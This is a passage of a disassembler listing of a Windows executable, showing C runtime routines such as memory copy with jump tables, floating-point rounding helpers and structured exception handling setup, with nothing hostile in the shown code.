; DATA XREF: sub_41C9B0+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41CADC: ; CODE XREF: sub_41C9B0:loc_41CA0Cj
; DATA XREF: sub_41C9B0+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CAEF: ; CODE XREF: sub_41C9B0:loc_41CA0Cj
; DATA XREF: sub_41C9B0:off_41CA8Co
jmp off_41CAF8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CAF8 dd offset loc_41CB08 ; DATA XREF: sub_41C9B0+35r
; sub_41C9B0+92r ...
dd offset loc_41CB10
dd offset loc_41CB1C
dd offset loc_41CB30
; ---------------------------------------------------------------------------
loc_41CB08: ; CODE XREF: sub_41C9B0+35j
; sub_41C9B0+92j ...
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CB10: ; CODE XREF: sub_41C9B0+35j
; sub_41C9B0+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CB1C: ; CODE XREF: sub_41C9B0+35j
; sub_41C9B0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CB30: ; CODE XREF: sub_41C9B0+35j
; sub_41C9B0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CB48: ; CODE XREF: sub_41C9B0+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41CB7C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CB70
std
rep movsd
cld
jmp off_41CC90[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CB70: ; CODE XREF: sub_41C9B0+1B1j
; sub_41C9B0+208j ...
neg ecx
jmp off_41CC40[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CB7C: ; CODE XREF: sub_41C9B0+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41CB94
and eax, 3
sub ecx, eax
jmp dword ptr loc_41CB94+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CB94: ; CODE XREF: sub_41C9B0+1D6j
; DATA XREF: sub_41C9B0+1DDr
jmp off_41CC90[ecx*4]
; ---------------------------------------------------------------------------
align 4
test al, 0CBh
inc ecx
add al, cl
retf
; ---------------------------------------------------------------------------
inc ecx
add al, dh
retf
; ---------------------------------------------------------------------------
inc ecx
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41CB70
std
rep movsd
cld
jmp off_41CC90[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41CB70
std
rep movsd
cld
jmp off_41CC90[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41CB70
std
rep movsd
cld
jmp off_41CC90[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CC44
dd offset loc_41CC4C
dd offset loc_41CC54
dd offset loc_41CC5C
dd offset loc_41CC64
dd offset loc_41CC6C
dd offset loc_41CC74
off_41CC40 dd offset loc_41CC87 ; DATA XREF: sub_41C9B0+1C2r
; ---------------------------------------------------------------------------
loc_41CC44: ; DATA XREF: sub_41C9B0+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41CC4C: ; DATA XREF: sub_41C9B0+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41CC54: ; DATA XREF: sub_41C9B0+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41CC5C: ; DATA XREF: sub_41C9B0+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41CC64: ; DATA XREF: sub_41C9B0+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41CC6C: ; DATA XREF: sub_41C9B0+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_41CC74: ; DATA XREF: sub_41C9B0+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CC87: ; CODE XREF: sub_41C9B0+1C2j
; DATA XREF: sub_41C9B0:off_41CC40o
jmp off_41CC90[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41CC90 dd offset loc_41CCA0 ; DATA XREF: sub_41C9B0+1B7r
; sub_41C9B0:loc_41CB94r ...
dd offset loc_41CCA8
dd offset loc_41CCB8
dd offset loc_41CCCC
; ---------------------------------------------------------------------------
loc_41CCA0: ; CODE XREF: sub_41C9B0+1B7j
; sub_41C9B0:loc_41CB94j ...
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CCA8: ; CODE XREF: sub_41C9B0+1B7j
; sub_41C9B0:loc_41CB94j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CCB8: ; CODE XREF: sub_41C9B0+1B7j
; sub_41C9B0:loc_41CB94j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CCCC: ; CODE XREF: sub_41C9B0+1B7j
; sub_41C9B0:loc_41CB94j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_FFFFFFFC]
pop esi
pop edi
leave
retn
sub_41C9B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41CCE5(double)
sub_41CCE5 proc near ; CODE XREF: sub_40D1F5+38p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_43D5B0
call sub_421E89
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41CD6B
call sub_421D51
pop ecx
test eax, eax
pop ecx
jle short loc_41CD4E
cmp eax, 2
jle short loc_41CD40
cmp eax, 3
jnz short loc_41CD4E
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Bh ; double
call sub_421661
add esp, 10h
jmp short loc_41CDB0
; ---------------------------------------------------------------------------
loc_41CD40: ; CODE XREF: sub_41CCE5+3Fj
push esi
push ebx
call sub_421E89
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41CDB0
; ---------------------------------------------------------------------------
loc_41CD4E: ; CODE XREF: sub_41CCE5+3Aj
; sub_41CCE5+44j
fld [ebp+arg_0]
fadd dbl_428700
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_41CDA8
; ---------------------------------------------------------------------------
loc_41CD6B: ; CODE XREF: sub_41CCE5+2Fj
call sub_421D16
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41CD8E
loc_41CD80: ; CODE XREF: sub_41CCE5+ACj
push esi
push ebx
call sub_421E89
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41CDB0
; ---------------------------------------------------------------------------
loc_41CD8E: ; CODE XREF: sub_41CCE5+99j
test bl, 20h
jnz short loc_41CD80
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
loc_41CDA8: ; CODE XREF: sub_41CCE5+84j
call sub_4216B4
add esp, 1Ch
loc_41CDB0: ; CODE XREF: sub_41CCE5+59j
; sub_41CCE5+67j ...
pop esi
pop ebx
leave
retn
sub_41CCE5 endp
; =============== S U B R O U T I N E =======================================
sub_41CDB4 proc near ; CODE XREF: sub_41BDF4+9p
; sub_421F52+21p
; DATA XREF: ...
call sub_41CDCC
call sub_421F52
mov dword_4DE618, eax
call sub_421F02
fnclex
retn
sub_41CDB4 endp
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_41CDCC proc near ; CODE XREF: sub_41CDB4p
mov eax, offset sub_422340
mov off_43FBC4, offset sub_421FD5
mov off_43FBC0, eax
mov off_43FBC8, offset sub_42203B
mov off_43FBCC, offset sub_421F7B
mov off_43FBD0, offset sub_422023
mov off_43FBD4, eax
retn
sub_41CDCC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CE04 proc near ; CODE XREF: sub_40D1F5+1Bp
; sub_40D1F5+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_41CE04 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41CE2B(double)
sub_41CE2B proc near ; CODE XREF: sub_40D241+83p
; sub_40EA40+3AEp
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_43D5C8
call sub_421E89
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41CEB1
call sub_421D51
pop ecx
test eax, eax
pop ecx
jle short loc_41CE94
cmp eax, 2
jle short loc_41CE86
cmp eax, 3
jnz short loc_41CE94
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Ch ; double
call sub_421661
add esp, 10h
jmp short loc_41CEF6
; ---------------------------------------------------------------------------
loc_41CE86: ; CODE XREF: sub_41CE2B+3Fj
push esi
push ebx
call sub_421E89
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41CEF6
; ---------------------------------------------------------------------------
loc_41CE94: ; CODE XREF: sub_41CE2B+3Aj
; sub_41CE2B+44j
fld [ebp+arg_0]
fadd dbl_428700
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_41CEEE
; ---------------------------------------------------------------------------
loc_41CEB1: ; CODE XREF: sub_41CE2B+2Fj
call sub_421D16
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41CED4
loc_41CEC6: ; CODE XREF: sub_41CE2B+ACj
push esi
push ebx
call sub_421E89
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41CEF6
; ---------------------------------------------------------------------------
loc_41CED4: ; CODE XREF: sub_41CE2B+99j
test bl, 20h
jnz short loc_41CEC6
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_41CEEE: ; CODE XREF: sub_41CE2B+84j
call sub_4216B4
add esp, 1Ch
loc_41CEF6: ; CODE XREF: sub_41CE2B+59j
; sub_41CE2B+67j ...
pop esi
pop ebx
leave
retn
sub_41CE2B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CEFA proc near ; CODE XREF: sub_4227B1+71p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_41CEFA endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_41CF2E proc near ; CODE XREF: sub_422962+199p
; sub_422B26+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41CF2E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41CF35 proc near ; CODE XREF: sub_422962+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41CF35 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CF3C proc near ; CODE XREF: sub_41D0EE+5Cp
; sub_4227B1:loc_4227E2p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_41CF64
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_426E06 ; RtlUnwind
loc_41CF64: ; DATA XREF: sub_41CF3C+11o
mov eax, [ebp+arg_4]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+arg_4]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp+var_8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
sub_41CF3C endp
; ---------------------------------------------------------------------------
loc_41CF8B: ; CODE XREF: .XPack0:00427530j
; .XPack0:0042754Dj ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_4223B6
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CFC1 proc near ; CODE XREF: sub_42282C+73p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_41D015
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_422BB0
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_41CFC1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D015 proc near ; DATA XREF: sub_41CFC1+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_4223B6
add esp, 20h
pop ebp
retn
sub_41D015 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D03A proc near ; CODE XREF: sub_4225F8+25p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_41D0EE
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_41D0C0
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call dword_4DE674
pop ecx
pop ecx
and [ebp+var_34], 0
loc_41D0C0: ; DATA XREF: sub_41D03A+3Co
cmp [ebp+var_4], 0
jz short loc_41D0DD
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_41D0E6
; ---------------------------------------------------------------------------
loc_41D0DD: ; CODE XREF: sub_41D03A+8Aj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_41D0E6: ; CODE XREF: sub_41D03A+A1j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_41D03A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D0EE proc near ; DATA XREF: sub_41D03A+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_41D111
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_41D15E
; ---------------------------------------------------------------------------
loc_41D111: ; CODE XREF: sub_41D0EE+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_4223B6
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_41D14F
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41CF3C
loc_41D14F: ; CODE XREF: sub_41D0EE+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
loc_41D15E: ; CODE XREF: sub_41D0EE+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41D0EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D163 proc near ; CODE XREF: sub_422451+C6p
; sub_4225F8+43p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_41D1BA
loc_41D181: ; CODE XREF: sub_41D163+52j
cmp esi, 0FFFFFFFFh
jnz short loc_41D18B
call sub_422C52
loc_41D18B: ; CODE XREF: sub_41D163+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_41D1A0
cmp ecx, [eax+8]
jle short loc_41D1A5
loc_41D1A0: ; CODE XREF: sub_41D163+36j
cmp esi, 0FFFFFFFFh
jnz short loc_41D1B1
loc_41D1A5: ; CODE XREF: sub_41D163+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_41D1B1: ; CODE XREF: sub_41D163+40j
cmp [ebp+arg_4], 0
jge short loc_41D181
mov eax, [ebp+var_4]
loc_41D1BA: ; CODE XREF: sub_41D163+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_41D1CE
cmp esi, eax
jbe short loc_41D1D3
loc_41D1CE: ; CODE XREF: sub_41D163+65j
call sub_422C52
loc_41D1D3: ; CODE XREF: sub_41D163+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_41D163 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D1E0 proc near ; CODE XREF: sub_423B80+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_41D1F8
push [ebp+arg_0]
call sub_426E06 ; RtlUnwind
loc_41D1F8: ; DATA XREF: sub_41D1E0+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41D1E0 endp
; =============== S U B R O U T I N E =======================================
sub_41D200 proc near ; DATA XREF: sub_41D222+Ao
; sub_41D28A+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_41D221
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_41D221: ; CODE XREF: sub_41D200+10j
retn
sub_41D200 endp
; =============== S U B R O U T I N E =======================================
sub_41D222 proc near ; CODE XREF: sub_4228D2+Dp
; sub_423B80+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_41D200
push large dword ptr fs:0
mov large fs:0, esp
loc_41D23F: ; CODE XREF: sub_41D222:loc_41D27Aj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_41D27C
cmp esi, [esp+1Ch+arg_4]
jz short loc_41D27C
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_41D27A
push 101h
mov eax, [ebx+esi*4+8]
call sub_41D2B6
call dword ptr [ebx+esi*4+8]
loc_41D27A: ; CODE XREF: sub_41D222+44j
jmp short loc_41D23F
; ---------------------------------------------------------------------------
loc_41D27C: ; CODE XREF: sub_41D222+2Aj
; sub_41D222+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_41D222 endp
; =============== S U B R O U T I N E =======================================
sub_41D28A proc near ; CODE XREF: sub_4228F2+37p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_41D200
jnz short locret_41D2AC
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_41D2AC
mov eax, 1
locret_41D2AC: ; CODE XREF: sub_41D28A+10j
; sub_41D28A+1Bj
retn
sub_41D28A endp
; =============== S U B R O U T I N E =======================================
sub_41D2AD proc near ; CODE XREF: sub_422BB0+1Ep
; sub_422BB0+40p
push ebx
push ecx
mov ebx, offset dword_43D5CC
jmp short loc_41D2C0
sub_41D2AD endp
; =============== S U B R O U T I N E =======================================
sub_41D2B6 proc near ; CODE XREF: sub_41D222+4Fp
; sub_423B80+78p
push ebx
push ecx
mov ebx, offset dword_43D5CC
mov ecx, [ebp+8]
loc_41D2C0: ; CODE XREF: sub_41D2AD+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_41D2B6 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D2D0 proc near ; CODE XREF: sub_40D241+5p
; sub_40D3E0+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_41D2D0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41D2EF proc near ; CODE XREF: sub_40D873+22p
; .XPack0:00426BA2p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41B721
pop ecx
retn
sub_41D2EF endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D300 proc near ; CODE XREF: sub_40D8E0+3Ap
; sub_41E542+2EFp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41D320
cmp edi, eax
jb loc_41D498
loc_41D320: ; CODE XREF: sub_41D300+16j
test edi, 3
jnz short loc_41D33C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41D35C
rep movsd
jmp off_41D448[edx*4]
; ---------------------------------------------------------------------------
loc_41D33C: ; CODE XREF: sub_41D300+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41D354
and eax, 3
add ecx, eax
jmp dword ptr loc_41D35C+4[eax*4]
; ---------------------------------------------------------------------------
loc_41D354: ; CODE XREF: sub_41D300+46j
jmp dword ptr loc_41D458[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D35C: ; CODE XREF: sub_41D300+31j
; sub_41D300+8Ej ...
jmp off_41D3DC[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41D370
dd offset loc_41D39C
dd offset loc_41D3C0
; ---------------------------------------------------------------------------
loc_41D370: ; DATA XREF: sub_41D300+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41D35C
rep movsd
jmp off_41D448[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D39C: ; DATA XREF: sub_41D300+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41D35C
rep movsd
jmp off_41D448[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41D3C0: ; DATA XREF: sub_41D300+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41D35C
rep movsd
jmp off_41D448[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41D3DC dd offset loc_41D43F ; DATA XREF: sub_41D300:loc_41D35Cr
dd offset loc_41D42C
dd offset loc_41D424
dd offset loc_41D41C
dd offset loc_41D414
dd offset loc_41D40C
dd offset loc_41D404
dd offset loc_41D3FC
; ---------------------------------------------------------------------------
loc_41D3FC: ; CODE XREF: sub_41D300:loc_41D35Cj
; DATA XREF: sub_41D300+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41D404: ; CODE XREF: sub_41D300:loc_41D35Cj
; DATA XREF: sub_41D300+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41D40C: ; CODE XREF: sub_41D300:loc_41D35Cj
